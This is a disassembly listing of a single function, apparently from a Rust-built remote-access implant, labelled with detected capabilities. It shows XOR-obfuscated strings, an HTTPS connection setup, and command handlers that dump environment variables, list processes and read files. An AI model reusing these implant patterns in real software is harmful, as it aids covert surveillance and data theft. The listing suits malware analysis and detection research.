Function at 0x10006eaa
Capabilities:
Check http status code
Encode data using base64
Enumerate processes
Impersonate user
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x658
movaps xmmword [rsp + 0x640], xmm6
mov r15, r9
mov r14, r8
mov qword [rsp + 0x58], rdx
mov r13, rcx
mov rdi, qword [rsp + 0x6f0]
and qword [rsp + 0x440], 0
mov qword [rsp + 0x448], 1
and qword [rsp + 0x450], 0
lea rcx, [rsp + 0x498]
mov edx, 8
call fcn.1003ac14
lea rcx, [rsp + 0x4b0]
mov edx, 8
call fcn.1003ac14
mov eax, 8
mov dword [rsp + 0x1e4], eax
mov dword [rsp + 0x1e8], eax
and dword [rsp + 0x1ec], 0
lea rax, [0x1005e98c]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x250], xmm0
movaps xmmword [rsp + 0x240], xmm0
movaps xmmword [rsp + 0x230], xmm0
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x210], xmm0
and dword [rsp + 0x260], 0
movaps xmmword [rsp + 0x200], xmm0
movaps xmmword [rsp + 0x1f0], xmm0
xor edx, edx
lea rcx, [0x10068ed5]
cmp rdx, 0x70
jae 0x10006fbb
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0xa735]
mov qword [rsp + rdx + 0x1f0], r8
add rdx, 8
jmp 0x10006f9b
xor edx, edx
lea r8, [rdx + 0x70]
cmp r8, 0x73
ja 0x10006ff7
movzx r8d, byte [rdx + rcx + 0x72]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x70]
add r8d, r9d
add r8d, 0xa3000000
xor r8d, dword [rax + rdx + 0xa7a5]
mov dword [rsp + rdx + 0x260], r8d
add rdx, 4
jmp 0x10006fbd
mov al, byte [rax + 0xa7a9]
xor al, 0x1d
lea r12, [rsp + 0x1f0]
mov byte [r12 + 0x74], al
lea rbx, [rsp + 0x530]
mov r8d, 0x75
mov rcx, rbx
mov rdx, r12
call sub.ntdll.dll_memcpy
and dword [rsp + 0x20], 0
xor esi, esi
mov rcx, rbx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [rsp + 0x6c0]
mov rbx, rax
lea rax, [0x10059858]
mov qword [r12], rax
mov rax, qword [r12]
xorps xmm0, xmm0
movaps xmmword [r12], xmm0
lea rcx, [0x10068f4a]
cmp rsi, 0xf
ja 0x1000707f
mov rdx, qword [rsi + rcx]
xor rdx, qword [rax + rsi + 0xf8de]
mov qword [rsp + rsi + 0x1f0], rdx
add rsi, 8
jmp 0x1000705f
movzx ecx, byte [rax + 0xf8f0]
movzx eax, word [rax + 0xf8ee]
xor eax, 0x3c88
mov word [rsp + 0x200], ax
xor cl, 0xcf
mov byte [rsp + 0x202], cl
movaps xmm0, xmmword [rsp + 0x1f0]
lea rdx, [rsp + 0x530]
movaps xmmword [rdx], xmm0
mov eax, dword [rsp + 0x1ff]
mov dword [rdx + 0xf], eax
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
xor esi, esi
mov rcx, rbx
mov r8w, 0x1bb
xor r9d, r9d
call qword [rsp + 0x6c8]
lea rcx, [0x10068e90]
mov qword [rsp + 0x1f0], rcx
mov rcx, qword [rsp + 0x1f0]
and dword [rsp + 0x1f0], 0
mov r12, rax
mov dl, 1
lea rax, [0x10068f5d]
test dl, 1
je 0x1000713f
movzx edx, byte [rsi + rax]
or edx, 0x5a28d800
xor edx, dword [rcx + rsi + 0x2b9]
mov dword [rsp + rsi + 0x1f0], edx
mov esi, 4
xor edx, edx
jmp 0x10007119
mov al, byte [rcx + 0x2bd]
xor al, 0xf7
lea rdx, [rsp + 0x1f0]
mov ecx, dword [rdx]
mov byte [rdx + 4], al
mov dword [rdx], ecx
xorps xmm6, xmm6
movups xmmword [rsp + 0x20], xmm6
and qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov rcx, r12
mov qword [rsp + 0x1a0], r13
mov r8, r13
xor r9d, r9d
call qword [rsp + 0x6d0]
mov r13, rax
mov dword [rsp + 0x20], r15d
mov rcx, rax
xor edx, edx
xor r8d, r8d
mov r9, r14
call qword [rsp + 0x6d8]
mov r14, qword [rsp + 0x4a0]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x1e4]
mov rcx, r13
mov edx, 5
mov r8, r14
call rdi
mov r15, qword [rsp + 0x4b8]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x1e8]
mov rcx, r13
mov edx, 0x13
mov r8, r15
call rdi
mov r8, qword [rsp + 0x4a8]
lea rbp, [rsp + 0x1f0]
mov rcx, rbp
mov rdx, r14
call fcn.1000de00
lea rsi, [rsp + 0x530]
mov rcx, rsi
mov rdx, rbp
call fcn.100162c4
mov rbp, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
mov rcx, rbp
call fcn.100015de
mov rcx, rax
call fcn.1002db50
mov r14, rax
shr r14, 0x20
test al, 1
mov edi, 3
cmovne r14d, edi
mov rcx, qword [rsi]
mov rdx, rbp
call fcn.10022dc0
mov r8, qword [rsp + 0x4c0]
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
mov rdx, r15
call fcn.1000de00
lea r15, [rsp + 0x530]
mov rcx, r15
mov rdx, rsi
call fcn.100162c4
mov rsi, qword [r15 + 8]
mov rdx, qword [r15 + 0x10]
mov rcx, rsi
call fcn.100015de
mov rcx, rax
call fcn.1002db50
mov rcx, rax
shr rcx, 0x20
test al, 1
cmovne ecx, edi
mov rdi, rcx
mov rcx, qword [r15]
mov rdx, rsi
call fcn.10022dc0
test r14d, r14d
je 0x100072e5
lea rsi, [rsp + 0x440]
mov rcx, rsi
mov rdx, r14
call fcn.1002184c
mov r15, qword [rsi + 8]
mov rbp, qword [rsi + 0x10]
lea rax, [r15 + rbp]
add rbp, r14
lea rcx, [r14 - 1]
sub rcx, 1
jb 0x100072e0
mov byte [rax], 0
inc rax
jmp 0x100072d2
mov byte [rax], 0
jmp 0x100072ee
mov r15d, 1
mov rbp, r14
mov qword [rsp + 0x450], rbp
lea r9, [rsp + 0x1ec]
mov rcx, r13
mov rdx, r15
mov r8d, r14d
call qword [rsp + 0x6e0]
mov rcx, r13
mov rsi, qword [rsp + 0x6e8]
call rsi
mov rcx, r12
call rsi
mov rcx, rbx
call rsi
lea rax, [0x10068eed]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
movaps xmmword [rsp + 0x1f0], xmm6
xor r9d, r9d
lea rdx, [0x10068f62]
mov rcx, qword [rsp + 0x1a0]
cmp r9, 0xf
ja 0x10007376
mov r8, qword [r9 + rdx]
xor r8, qword [rax + r9 + 0x261]
mov qword [rsp + r9 + 0x1f0], r8
add r9, 8
jmp 0x10007356
movzx edx, byte [rax + 0x273]
movzx eax, word [rax + 0x271]
xor eax, 0x4af9
mov word [rsp + 0x200], ax
xor dl, 0x15
mov byte [rsp + 0x202], dl
movaps xmm0, xmmword [rsp + 0x1f0]
lea r8, [rsp + 0x530]
movaps xmmword [r8], xmm0
mov eax, dword [rsp + 0x1ff]
mov dword [r8 + 0xf], eax
mov r9d, 0x13
mov rdx, qword [rsp + 0x58]
call fcn.10001710
test al, al
je 0x10008f93
cmp edi, 0xc8
jne 0x10008f9f
test r14, r14
je 0x10008f9b
lea rcx, [rsp + 0x530]
call fcn.1002e444
xor edx, edx
cmp rbp, rdx
je 0x10008f93
mov rax, rdx
mov cl, byte [r15 + rdx]
cmp rdx, 7
je 0x10007414
lea rdx, [rax + 1]
test cl, cl
je 0x100073f6
cmp rax, 7
jne 0x10007422
test cl, cl
je 0x10008f93
mov qword [rsp + 0x490], rdi
movabs rdi, 0x8000000000000000
lea rsi, [rsp + 0x518]
mov rcx, rsi
mov rdx, r14
call fcn.1003ac14
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x530]
mov rdx, r15
mov r8, rbp
mov rbp, rdi
call fcn.1002e3b8
lea rdi, [rsp + 0xa0]
mov rcx, rdi
mov rdx, rsi
call fcn.1000217f
cmp qword [rdi], rbp
jne 0x10009bcf
lea rbx, [rsp + 0xa0]
mov r14, qword [rbx + 8]
mov r15, qword [rbx + 0x10]
mov rsi, qword [rbx + 0x18]
lea rdi, [rsp + 0x130]
mov rcx, rdi
mov edx, 0x3a
mov r8, r15
mov r9, rsi
call fcn.10001f43
and qword [rdi - 0x10], 0
mov qword [rdi - 8], rsi
mov word [rdi + 0x30], 1
lea rsi, [rsp + 0x120]
mov ecx, 9
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
mov rcx, rbx
call fcn.1000405e
test rax, rax
mov qword [rsp + 0x488], r14
mov qword [rsp + 0x480], r15
je 0x100075c1
mov rsi, rax
mov rdi, rdx
lea rbx, [rsp + 0x1f0]
mov rcx, rbx
call fcn.10002206
cmp qword [rbx], 0
mov rcx, qword [rbx + 8]
jne 0x10009d39
lea rbx, [rsp + 0x1f0]
mov r14, qword [rbx + 0x10]
mov qword [r14], rsi
mov qword [r14 + 8], rdi
lea r12, [rsp + 0x4d8]
mov qword [r12], rcx
mov qword [r12 + 8], r14
mov qword [r12 + 0x10], 1
lea rsi, [rsp + 0xa0]
mov ecx, 9
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
mov r15d, 1
mov r13d, 0x18
mov rcx, rbx
call fcn.1000405e
test rax, rax
je 0x100075af
mov rsi, rax
mov rdi, rdx
cmp r15, qword [rsp + 0x4d8]
jne 0x10007595
mov rcx, r12
call fcn.10002080
mov r14, qword [rsp + 0x4e0]
mov qword [r14 + r13 - 8], rsi
mov qword [r14 + r13], rdi
inc r15
mov qword [rsp + 0x4e8], r15
add r13, 0x10
jmp 0x10007568
mov rbx, qword [rsp + 0x4d8]
mov rdi, qword [rsp + 0x4e0]
jmp 0x100075cb
mov edi, 8
xor r15d, r15d
xor ebx, ebx
lea r9, str.srclib.rs
mov r8d, 1
mov rcx, rdi
mov rdx, r15
call fcn.10003fb5
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rsi, [rsp + 0x1f0]
mov rcx, rsi
call fcn.10002567
mov rax, qword [rsi]
cmp rax, rbp
je 0x10009c18
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x478], rbx
mov qword [rsp + 0x1a0], rdi
lea rdi, [rsp + 0x1f0]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rbx, [rsp + 0xa0]
mov rcx, rbx
mov qword [rsp + 0x468], rdx
call fcn.1000de00
mov rsi, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
mov rcx, rdi
mov rdx, rsi
call fcn.10001edd
mov rax, qword [rdi]
mov qword [rsp + 0x460], rax
mov r14, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
mov rcx, qword [rbx]
cmp rcx, rbp
je 0x1000767c
mov rdx, rsi
call fcn.10022dc0
lea rax, [r14 + rdi]
lea rsi, [rsp + 0x4d8]
and qword [rsi], 0
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rdi
mov qword [rsp + 0x458], r14
mov qword [rsi + 0x20], r14
mov qword [rsi + 0x28], rax
and qword [rsi + 0x30], 0
mov word [rsi + 0x38], 1
mov rcx, rsi
call fcn.10004186
test rax, rax
mov edi, 1
cmovne rdi, rax
mov rbx, rdx
cmove rbx, rax
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
lea rcx, [rsp + 0xa0]
movaps xmmword [rcx + 0x30], xmm3
movaps xmmword [rcx + 0x20], xmm2
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.10004186
test rax, rax
je 0x10007826
mov r14, rax
mov r13, rdx
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0x58], rdi
lea r12, [rsp + 0x1f0]
mov rcx, r12
call fcn.10002206
cmp qword [r12], 0
mov rcx, qword [r12 + 8]
jne 0x10009d39
lea r12, [rsp + 0x1f0]
mov rdi, qword [r12 + 0x10]
mov qword [rdi], r14
mov qword [rdi + 8], r13
lea r13, [rsp + 0x120]
mov qword [r13], rcx
mov qword [r13 + 8], rdi
mov qword [r13 + 0x10], 1
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmm2, xmmword [rsp + 0xc0]
movaps xmm3, xmmword [rsp + 0xd0]
movaps xmmword [r12 + 0x30], xmm3
movaps xmmword [r12 + 0x20], xmm2
movaps xmmword [r12 + 0x10], xmm1
movaps xmmword [r12], xmm0
mov ebx, 2
mov esi, 0x18
mov rcx, r12
call fcn.10004186
test rax, rax
je 0x100077ed
mov rbp, rax
mov r14, rdx
lea rax, [rbx - 1]
cmp rax, qword [rsp + 0x120]
jne 0x100077d3
mov rcx, r13
call fcn.10002080
mov rdi, qword [rsp + 0x128]
mov qword [rdi + rsi - 8], rbp
mov qword [rdi + rsi], r14
mov qword [rsp + 0x130], rbx
inc rbx
add rsi, 0x10
jmp 0x100077a2
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x100], xmm0
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x110], rax
movabs rbp, 0x8000000000000000
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x98]
jmp 0x10007844
and qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 8
and qword [rsp + 0x110], 0
lea r9, str.srclib.rs
mov rcx, qword [rsp + 0x1a0]
mov rdx, r15
xor r8d, r8d
call fcn.10003fb5
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea r14, [rsp + 0x1c0]
mov rcx, r14
call fcn.10001edd
lea rax, [0x10065dac]
lea r15, [rsp + 0x1f0]
mov qword [r15], rax
mov rax, qword [r15]
mov al, byte [rax + 0xc30e]
xor al, 0xa
mov byte [r15], al
mov r8d, 1
mov rcx, r14
mov rdx, r15
call fcn.100219ec
lea rax, [0x10065e4f]
mov qword [r15], rax
mov rax, qword [r15]
movzx eax, word [rax + 0x3228]
xor eax, 0xa47b
mov word [r15], ax
lea r8, [rsp + 0x1f0]
mov r9d, 2
mov rcx, rdi
mov rdx, rbx
call fcn.10001710
test al, al
je 0x10007935
lea rsi, [rsp + 0x1f0]
lea rdx, [rsp + 0x100]
mov rcx, rsi
call fcn.100047dd
lea rdi, [rsp + 0xa0]
mov rcx, rdi
mov rdx, rsi
call fcn.1000252b
mov rsi, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x1c0]
mov rdx, rsi
call fcn.100219ec
mov rcx, qword [rdi]
lea rax, [0x10065977]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
and dword [rsp + 0x1f0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x10068e88]
test r8b, 1
je 0x1000798c
movzx r8d, byte [rcx + rdx]
or r8d, 0xbd04c900
xor r8d, dword [rax + rcx + 0x3702]
mov dword [rsp + rcx + 0x1f0], r8d
mov ecx, 4
xor r8d, r8d
jmp 0x10007960
movzx eax, word [rax + 0x3706]
xor eax, 0xc24c
lea r8, [rsp + 0x1f0]
mov ecx, dword [r8]
mov dword [r8], ecx
mov word [r8 + 4], ax
mov r9d, 6
mov rcx, rdi
mov rdx, rbx
call fcn.10001710
test al, al
je 0x10007dd5
and qword [rsp + 0x1a8], 0
mov qword [rsp + 0x1b0], 1
and qword [rsp + 0x1b8], 0
call sub.KERNEL32.dll_GetEnvironmentStringsW
test rax, rax
je 0x10009ca6
lea r13, [rsp + 0x1f0]
mov qword [rsp + 0x98], rax
mov rdi, rax
cmp word [rdi], 0
je 0x10007f65
mov r12, rdi
mov r15, 0xffffffffffffffff
mov rcx, 0xfffffffffffffffe
mov rax, rcx
cmp word [r12 + r15*2 + 2], 0
lea r15, [r15 + 1]
lea rcx, [rcx + 2]
jne 0x10007a1e
lea rdi, [r12 + r15*2]
add rdi, 2
cmp r15, 1
je 0x10007a03
test r15, r15
je 0x10009b90
xor ebp, ebp
cmp word [r12 + rbp*2 + 2], 0x3d
je 0x10007a5f
inc rbp
add rax, 0xfffffffffffffffe
jne 0x10007a4b
jmp 0x10007a03
lea r8, [rbp + 1]
cmp rbp, r15
jae 0x10009ba3
lea rcx, [rsp + 0xa0]
mov rdx, r12
call fcn.1003ee00
add rbp, 2
mov r8, r15
sub r8, rbp
jb 0x10009bb8
lea rdx, [r12 + rbp*2]
mov rcx, r13
call fcn.1003ee00
mov r15, qword [rsp + 0xa0]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x10007f65
mov rbp, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x1f0]
mov qword [rsp + 0x58], rcx
mov r12, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x200]
mov r10b, byte [rsp + 0x208]
movzx r9d, byte [rsp + 0x20f]
movzx r8d, word [rsp + 0x20d]
mov edx, dword [rsp + 0x209]
cmp byte [rsp + 0xb8], 0
jne 0x10007bc6
test rax, rax
je 0x10007bc6
movzx r11d, byte [rsp + 0xbf]
shl r11d, 0x10
movzx esi, word [rsp + 0xbd]
or esi, r11d
shl rsi, 0x20
mov r11d, dword [rsp + 0xb9]
or r11, rsi
mov qword [rsp + 0x190], r11
lea r14, [rax + rbp]
mov rbx, rbp
lea r11, [rbx + 1]
mov sil, byte [rbx]
test sil, sil
jns 0x10007bbe
cmp sil, 0xe0
jae 0x10007b6d
add rbx, 2
cmp r11, r14
cmovne r11, rbx
jmp 0x10007bbe
cmp sil, 0xed
jne 0x10007b94
cmp r11, r14
je 0x10007bc6
lea r11, [rbx + 2]
cmp r11, r14
je 0x10007bc6
cmp byte [rbx + 1], 0x9f
ja 0x10009c50
add rbx, 3
mov r11, rbx
jmp 0x10007bbe
add rbx, 2
cmp r11, r14
cmove rbx, r11
xor r11d, r11d
cmp rbx, r14
setne r11b
add r11, rbx
cmp sil, 0xf0
jb 0x10007bbe
xor esi, esi
cmp r11, r14
setne sil
add r11, rsi
mov rbx, r11
cmp r11, r14
jne 0x10007b4e
test r10b, r10b
jne 0x10007c67
test rcx, rcx
je 0x10007c67
shl r9d, 0x10
or r8d, r9d
shl r8, 0x20
or rdx, r8
lea r8, [r12 + rcx]
mov r10, r12
lea r9, [r10 + 1]
mov r11b, byte [r10]
test r11b, r11b
jns 0x10007c5f
cmp r11b, 0xe0
jae 0x10007c0c
add r10, 2
cmp r9, r8
cmovne r9, r10
jmp 0x10007c5f
cmp r11b, 0xed
jne 0x10007c34
cmp r9, r8
je 0x10007c67
lea r9, [r10 + 2]
cmp r9, r8
je 0x10007c67
cmp byte [r10 + 1], 0x9f
ja 0x10007d79
add r10, 3
mov r9, r10
jmp 0x10007c5f
add r10, 2
cmp r9, r8
cmove r10, r9
xor r9d, r9d
cmp r10, r8
setne r9b
add r9, r10
cmp r11b, 0xf0
jb 0x10007c5f
xor r10d, r10d
cmp r9, r8
setne r10b
add r9, r10
mov r10, r9
cmp r9, r8
jne 0x10007bed
mov rdx, rcx
mov rcx, r12
mov r12, qword [rsp + 0x58]
mov qword [rsp + 0x170], r15
mov qword [rsp + 0x178], rbp
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rdx
lea rax, [rsp + 0x170]
mov qword [rsp + 0xa0], rax
lea rax, [0x10002244]
mov qword [rsp + 0xa8], rax
lea rcx, [0x10068848]
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], 3
and qword [rsp + 0x210], 0
lea rcx, [rsp + 0x60]
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 2
lea rcx, [rsp + 0x120]
mov rdx, r13
call fcn.1000203b
mov r15, qword [rsp + 0x120]
mov r12, qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
lea rcx, [rsp + 0x1a8]
mov rdx, r12
call fcn.100219ec
mov rcx, r15
mov rdx, r12
call fcn.10022dc0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.10022dc0
mov rcx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
call fcn.10022dc0
jmp 0x10007a03
shl rdx, 8
movabs r8, 0x8000000000000000
mov r9, qword [rsp + 0x58]
cmp r9, r8
je 0x10007c72
lea r8, [rsp + 0x1f0]
mov qword [r8], r9
mov qword [r8 + 8], r12
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rdx
lea rax, [0x100733f8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10072ad0]
mov edx, 0x2b
call fcn.1002ad50
jmp 0x10009d16
lea rax, [0x1005fac9]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
and dword [rsp + 0x1f0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x10068e8e]
test r8b, 1
je 0x10007e2c
movzx r8d, byte [rcx + rdx]
or r8d, 0x1ce9ed00
xor r8d, dword [rax + rcx + 0x95b6]
mov dword [rsp + rcx + 0x1f0], r8d
mov ecx, 4
xor r8d, r8d
jmp 0x10007e00
lea r8, [rsp + 0x1f0]
mov eax, dword [r8]
mov dword [r8], eax
mov r9d, 4
mov rcx, rdi
mov rdx, rbx
call fcn.10001710
test al, al
jne 0x10009d18
lea rax, [0x1006089f]
lea r8, [rsp + 0x1f0]
mov qword [r8], rax
mov rax, qword [r8]
movzx ecx, byte [rax + 0x87e6]
movzx eax, word [rax + 0x87e4]
xor eax, 0x485
xor cl, 0xc2
mov byte [r8 + 2], cl
mov word [r8], ax
mov r9d, 3
mov rcx, rdi
mov rdx, rbx
call fcn.10001710
test al, al
je 0x10007f9e
mov r13, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x108]
mov rbx, qword [rsp + 0x110]
lea r9, str.srccommandscat.rs
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
call fcn.10003fb5
mov r15, qword [rax]
mov r12, qword [rax + 8]
lea r14, [rsp + 0xa0]
mov rcx, r14
mov rdx, r15
mov r8, r12
xor r9d, r9d
call fcn.1005b080
mov rsi, qword [r14]
mov r14, qword [r14 + 8]
cmp rsi, 2
jne 0x100083e8
mov eax, r14d
and eax, 3
cmp rax, 2
jb 0x100083e8
cmp eax, 2
jne 0x100083e8
mov rax, r14
shr rax, 0x20
cmp eax, 0x780
jne 0x100083e8
lea rcx, [rsp + 0x1f0]
mov rdx, r15
mov r8, r12
mov r9d, 0x200000
call fcn.1005b080
mov rsi, qword [rsp + 0x1f0]
cmp rsi, 2
jne 0x1000961a
mov rcx, qword [rsp + 0x1f8]
call fcn.1003af30
jmp 0x1000841b
mov rcx, qword [rsp + 0x98]
call sub.KERNEL32.dll_FreeEnvironmentStringsW
movups xmm0, xmmword [rsp + 0x1a8]
lea rdx, [rsp + 0x1f0]
movaps xmmword [rdx], xmm0
mov rax, qword [rsp + 0x1b8]
mov qword [rdx + 0x10], rax
lea rsi, [rsp + 0xa0]
jmp 0x10008d69
lea rax, [0x1005d79b]
lea r8, [rsp + 0x1f0]
mov qword [r8], rax
mov rax, qword [r8]
movzx eax, word [rax + 0xb8eb]
xor eax, 0xae83
mov word [r8], ax
mov r9d, 2
mov rcx, rdi
mov rdx, rbx
call fcn.10001710
test al, al
je 0x10008445
lea rcx, [rsp + 0x1a8]
and qword [rcx], 0
mov qword [rcx + 8], 1
and qword [rcx + 0x10], 0
lea rdx, str.PID_tPPID_tProcess_Name_n
mov r8d, 0x16
call fcn.100219ec
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
lea rbx, [rsp + 0x1f0]
mov r8d, 0x238
mov rcx, rbx
xor edx, edx
call sub.ntdll.dll_memset
mov dword [rbx], 0x238
mov qword [rsp + 0x58], rsi
mov rcx, rsi
mov rdx, rbx
call sub.KERNEL32.dll_Process32FirstW
cmp eax, 1
jne 0x10008640
lea rbx, [rsp + 0x60]
lea r14, [rsp + 0x120]
mov edi, 0xfffd
mov eax, dword [rsp + 0x1f8]
mov dword [rsp + 0x4c8], eax
lea rax, [rsp + 0x21c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x424]
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x70], 0
mov rcx, rbx
call fcn.10001400
test ax, ax
lea rbp, [rsp + 0xa0]
je 0x10008160
mov r12d, edx
mov edx, 4
mov rcx, rbp
call fcn.1005fd0f
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
jne 0x10009c99
mov r15, qword [rsp + 0xb0]
mov word [r15], r12w
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], r15
mov qword [rsp + 0x130], 1
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
mov r13d, 1
mov rcx, rbp
call fcn.10001400
cmp ax, 1
jne 0x10008156
mov r12d, edx
cmp r13, qword [rsp + 0x120]
jne 0x10008144
mov edx, 1
mov rcx, r14
call fcn.10060437
mov r15, qword [rsp + 0x128]
mov word [r15 + r13*2], r12w
inc r13
mov qword [rsp + 0x130], r13
jmp 0x10008114
mov r12, qword [rsp + 0x120]
jmp 0x1000816c
mov r15d, 2
xor r12d, r12d
xor r13d, r13d
lea rsi, [r15 + r13*2]
and qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 1
and qword [rsp + 0x130], 0
mov rax, r13
shr rax, 1
and r13d, 1
add r13, rax
mov rcx, r14
mov rdx, r13
call fcn.10060194
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], rsi
and word [rsp + 0xb0], 0
mov rcx, rbp
call fcn.10060098
mov r13, rax
movzx eax, r13w
cmp rax, 2
je 0x100082c5
shr r13, 0x20
test rax, rax
cmovne r13d, edi
cmp r13d, 0x80
jae 0x1000821f
mov rsi, qword [rsp + 0x130]
cmp rsi, qword [rsp + 0x120]
jne 0x10008206
mov rcx, r14
call fcn.1000d5c9
mov rax, qword [rsp + 0x128]
mov byte [rax + rsi], r13b
inc rsi
mov qword [rsp + 0x130], rsi
jmp 0x100081bf
and dword [rsp + 0x60], 0
mov eax, r13d
cmp r13d, 0x800
jae 0x10008245
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x60], al
mov eax, 2
mov ecx, 1
jmp 0x100082a0
cmp r13d, 0x10000
jae 0x10008271
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x60], al
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x61], al
mov eax, 3
mov ecx, 2
jmp 0x100082a0
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x60], al
mov eax, r13d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x61], al
mov eax, r13d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x62], al
mov eax, 4
mov ecx, 3
and r13b, 0x3f
or r13b, 0x80
mov byte [rsp + rcx + 0x60], r13b
lea r8, [rsp + rax]
add r8, 0x60
mov rcx, r14
mov rdx, rbx
call fcn.10060150
jmp 0x100081bf
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x170], xmm0
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x4c8]
mov qword [rsp + 0xa0], rax
lea rcx, [fcn.1002a1e0]
mov qword [rsp + 0xa8], rcx
lea rax, [rsp + 0x210]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rcx
lea rax, [0x100688f0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 4
and qword [rsp + 0x140], 0
lea rax, [rsp + 0x170]
mov qword [rsp + 0xc0], rax
lea rax, [0x10002244]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x130], rbp
mov qword [rsp + 0x138], 3
mov rcx, rbx
mov rdx, r14
call fcn.1000203b
mov r13, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
lea rcx, [rsp + 0x1a8]
mov rdx, rbp
call fcn.100219ec
mov rcx, r13
mov rdx, rbp
call fcn.10022dc0
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x1f0]
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
jne 0x1000872c
mov rcx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
call fcn.10022dc0
mov rcx, r12
mov rdx, r15
call fcn.1005fe6e
jmp 0x1000805f
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x80], xmm2
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
cmp esi, 2
jne 0x10008578
lea rcx, [rsp + 0x120]
mov qword [rcx + 8], r14
mov qword [rcx], 2
call fcn.100015cf
lea rcx, [rsp + 0x1f0]
call fcn.10002555
jmp 0x10009734
lea rax, [0x1006688f]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
and dword [rsp + 0x1f0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x10068e92]
test r8b, 1
je 0x1000849c
movzx r8d, byte [rcx + rdx]
or r8d, 0xe2c98900
